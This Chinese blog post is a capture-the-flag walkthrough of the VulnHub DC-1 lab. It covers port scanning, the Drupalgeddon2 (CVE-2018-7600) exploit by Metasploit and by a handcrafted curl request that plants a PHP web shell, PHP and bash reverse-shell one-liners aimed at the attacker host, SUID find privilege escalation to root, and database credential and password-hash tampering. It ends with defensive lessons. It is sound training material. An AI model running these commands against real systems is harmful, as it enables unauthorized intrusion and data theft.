Skip to content
Kurisu
Go back

Vulnhub DC-1 完整渗透:从信息收集到提权

DC-1 是 VulnHub 上最经典的入门靶机之一(DCAU 系列第一台),难度标记为 Beginner/Intermediate。它没有花哨的 0day,考的是一套标准的渗透思维:先摸清环境,再抓 CMS 版本漏洞,最后做 SUID 提权。整台机器埋了 5 个 flag(flag1~flag4 + thefinalflag),每个 flag 都会给下一步的提示,走完全程等于把 Web 渗透到提权的完整链路亲手过了一遍。

⚠️ 本文所有操作均在 VMware 私有 NAT 网段内对本机靶机执行,靶机为公开下载的 VulnHub 镜像,请勿对未授权目标复现。

1. 环境搭建

靶机镜像(DC-1.ova)在 VulnHub 官网下载后直接导入 VMware Workstation。网络模式选 NAT,这样 Kali 攻击机与靶机处于同一个虚拟网段,互相可达,但与外网隔离。

角色系统网络
攻击机Kali LinuxVMware NAT(VMnet8)
靶机DC-1(Debian + Drupal 7)VMware NAT(VMnet8)

靶机默认 DHCP 获取 IP,所以第一步是在攻击机上用 ARP 扫描发现存活主机:

# netdiscover 主动扫描当前网段
sudo netdiscover -r 192.168.xxx.0/24

# 或者用 arp-scan,更快更干净
sudo arp-scan --localnet

扫描结果里除 Kali 自己外多出来的那台主机就是靶机,比如 192.168.xxx.131。把它的 IP 记下来,后面的所有操作都指向它。

💡 小技巧:如果两台机器互相 ping 不通,先检查 VMware 的 NAT 网段是否一致,再确认靶机网卡是否处于已连接状态(VMware 默认会正确挂上 VMnet8)。

2. 信息收集

拿到 IP 后先做端口扫描,重点是全端口 + 服务版本识别:

# 全端口 TCP 扫描
sudo nmap -sS -p- 192.168.xxx.131

# 服务版本 + 默认脚本探测
sudo nmap -sV -sC -O 192.168.xxx.131 -p 22,80

结果非常干净:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
MAC Address: 00:0C:29:XX:XX:XX (VMware)

只开放了 22 和 80,攻击面收敛在 Web 上。浏览器打开 http://192.168.xxx.131/,看到的是一个 Drupal 站点。Drupal 的版本信息通常藏在页面底部或 HTML 源码里:

<!-- 页面源码底部能看到类似 -->
<meta name="Generator" content="Drupal 7 (http://drupal.org)" />

Drupal 7,这个版本号非常关键——它决定了后面的利用路径。也可以配合 whatwebdroopescan 快速确认:

whatweb http://192.168.xxx.131/
# 输出: ... Drupal 7 ...

3. 漏洞利用:Drupalgeddon2 (CVE-2018-7600)

Drupal 7 有一个著名的 RCE 漏洞:Drupalgeddon2(CVE-2018-7600)。它的原理一句话概括:Drupal 的表单 API 允许通过 #post_render 这类渲染数组属性注入可执行的回调,攻击者利用 user/register 表单的 mail[#post_render][] 参数传入 exec 之类的 PHP 函数,配合 ajax_form=1 触发,就能未认证远程执行任意命令。2018 年披露后很快被大规模自动化利用,Drupal 官方连夜出了补丁。

利用方式有两种,任选其一:

方式一:Metasploit 一键利用

msfconsole
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.xxx.131
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.xxx.128
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set TARGETURI /
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

模块默认直接给你一个 meterpreter 会话,可以省掉手工反弹 shell 的步骤。

方式二:手工 POST 触发

不依赖 MSF,直接用 curl 构造恶意请求,向靶机写一个一句话 shell:

# 先访问注册页拿 form_build_id
curl -s http://192.168.xxx.131/user/register -c cookies.txt | grep form_build_id

# 构造恶意 POST:mail 参数里塞 #post_render 回调,执行写 shell 的命令
curl -s -b cookies.txt \
  -d "form_id=user_register_form&form_build_id=FORM_BUILD_ID_HERE&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo '<?php system(\$_GET['cmd']); ?>' > /tmp/shell.php" \
  "http://192.168.xxx.131/user/register?element_parents=account/mail/%23value&ajax_form=1"

# 验证命令执行
curl "http://192.168.xxx.131/tmp/shell.php?cmd=id"

💡 手工方式的核心就一句话:#post_render[] 数组注入 + exec 回调 + ajax_form=1 触发。理解了这一点,MSF 模块在你眼里就不再是黑盒。

4. 反弹 Shell

有了 RCE,下一步是拿一个稳定的交互式 shell。攻击机先开监听:

nc -lvvp 4444

然后在靶机上执行反弹命令。因为目标环境有 PHP,用 PHP 反弹最稳:

# 通过 RCE 执行(URL 编码后传入)
php -r '$sock=fsockopen("192.168.xxx.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# 或者 bash 反弹
bash -i >& /dev/tcp/192.168.xxx.128/4444 0>&1

监听端收到 shell 后,先确认身份,再升级成交互式终端:

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# 升级为带 TTY 的交互式 shell
python -c 'import pty; pty.spawn("/bin/bash")'

到这一步,我们拿到了 www-data 权限的 shell,但这只是开始——真正的挑战在提权。

5. 提权:SUID find

老规矩,先做系统信息收集。/etc/passwd 里可以看到靶机上的普通用户:

cat /etc/passwd
# 除了 root,还有一个 flag4 用户(uid 1004)

接着枚举 SUID 文件——拥有 SUID 位的程序会以属主身份运行,如果属主是 root 而程序本身可被我们操控,就是经典的提权入口:

find / -perm -4000 2>/dev/null

输出里除了常见的 passwdsu 等,赫然躺着一条:

-rwsr-xr-x 1 root root  ... /usr/bin/find

find 居然带 SUID 位,属主是 root。这意味着我们执行的任何 find 命令都以 root 身份运行。而 GNU find 有一个致命特性:-exec 参数可以执行任意命令。两者一组合,直接提权:

find / -exec /bin/sh -p \;
# 或者更简洁的写法
find . -exec /bin/sh \;

执行后 shell 立即变成 root:

# id
uid=0(root) gid=0(root) groups=0(root)

💡 原理回顾:find 的 SUID 位让进程的 euid 变成 0,-exec 触发的子进程继承这个 euid,于是 sh 以 root 运行。这是 SUID 提权里最经典的组合拳之一,GTFOBins 上 find 条目记录的就是这条命令。

6. Flag 复盘

这台机器的 flag 是引导式的,每个 flag 都是一条提示,串起来就是完整的解题思路:

Flag位置内容/提示关键动作
flag1/var/www/flag1.txt提示”每个 CMS 都有配置文件”顺着提示找 Drupal 配置
flag2/var/www/sites/default/settings.phpMySQL 数据库凭据读配置拿 dbuser/dbpass,登入数据库
flag3数据库 drupaldb.users管理员密码 hash爆破 hash 或直接重置管理员密码
flag4/home/flag4/flag4.txt提示看 /etc/passwd 和 SUID找到 SUID find,完成提权
thefinalflag/root/thefinalflag.txt恭喜通关root 后直接读

flag1 → flag2:flag1 明示”找配置文件”,Drupal 的数据库配置在 sites/default/settings.php,里面直接写着 MySQL 的库名、用户名和密码:

cat /var/www/sites/default/settings.php | grep -A 4 "databases"
# $databases['default']['default'] = array(
#   'database' => 'drupaldb',
#   'username' => 'dbuser',
#   'password' => 'xxx',
#   ...

flag2 → flag3:拿到凭据登入数据库,users 表里存着管理员账号和密码 hash:

mysql -u dbuser -p drupaldb
mysql> SELECT name, pass FROM users;
# admin 的 pass 是一串 $S$ 开头的 Drupal hash

两条路可选:一是把 hash 抄出来用 john/hashcat 爆破(Drupal7 格式 $S$);二是更省事的直接重置——用 PHP 现算一个新 hash 写回数据库:

# 在靶机上用 PHP 生成新密码 hash
php -r 'print(password_hash("NewPass123", PASSWORD_BCRYPT) . "\n");'
# Drupal 7 的 hash 实际是 phpass 格式,更准确的做法:
php -r 'require "/var/www/includes/password.inc"; print user_hash_password("NewPass123") . "\n";'

mysql> UPDATE users SET pass='<新hash>' WHERE name='admin';

之后就能用 admin 登录后台,在 /admin 里还能看到 flag3 的内容提示”去看 flag4 用户的目录”。

flag3 → flag4/home/flag4/flag4.txt 里写着”root 的 flag 在 /root 下,想进去就看看 SUID 吧”——于是有了第 5 节的 find 提权。

thefinalflag:root 后直接读取:

cat /root/thefinalflag.txt

通关。整条链:Web 漏洞打进来 → 配置泄露拿库 → 数据库拿凭据 → SUID 提权到 root,每一环都环环相扣。

7. 教训与总结

DC-1 虽然老,但把真实环境里最常见的几个问题全部浓缩进来了:

  1. CMS 必须及时更新:Drupal 7 全版本被 Drupalgeddon2 一锅端,而靶机还是 2018 年之前的版本。现实中大量老站就是这么被打穿的——漏洞利用永远比管理员打补丁快。CVE-2018-7600 的教训是:表单渲染数组这种”框架魔法”一旦被滥用,就是未认证 RCE。
  2. SUID 位必须最小化find 这种日常工具根本不需要 root SUID。一条 find / -perm -4000 就能看出管理员偷懒的痕迹。运维上应定期审计 SUID/SGID 文件,删掉所有非必要的 SUID 位。
  3. 权限分离:Web 服务用 www-data 跑是标准做法,但如果数据库密码直接写在 Web 目录的配置文件里,Web 被打穿 = 数据库沦陷。数据库账号应该按最小权限原则单独建,而不是用能操作全库的账号。
  4. 流程比技巧重要:DC-1 没有任何花哨技巧,但每一步都依赖上一步的信息。信息收集 → 漏洞利用 → 权限维持/提升这个框架,比任何一个具体漏洞都值钱。

对新手来说,DC-1 是完美的”第一个完整靶机”:难度低、引导强、覆盖面全。打完之后建议继续 DC-2(WordPress + 横向提权)和 DC-3(Joomla + 内核提权),把这条链路练熟。


Share this post:

Previous Post
Cacti CVE-2022-46169 复现:认证绕过 + 命令注入
Next Post
Next.js CVE-2025-29927:中间件认证绕过复现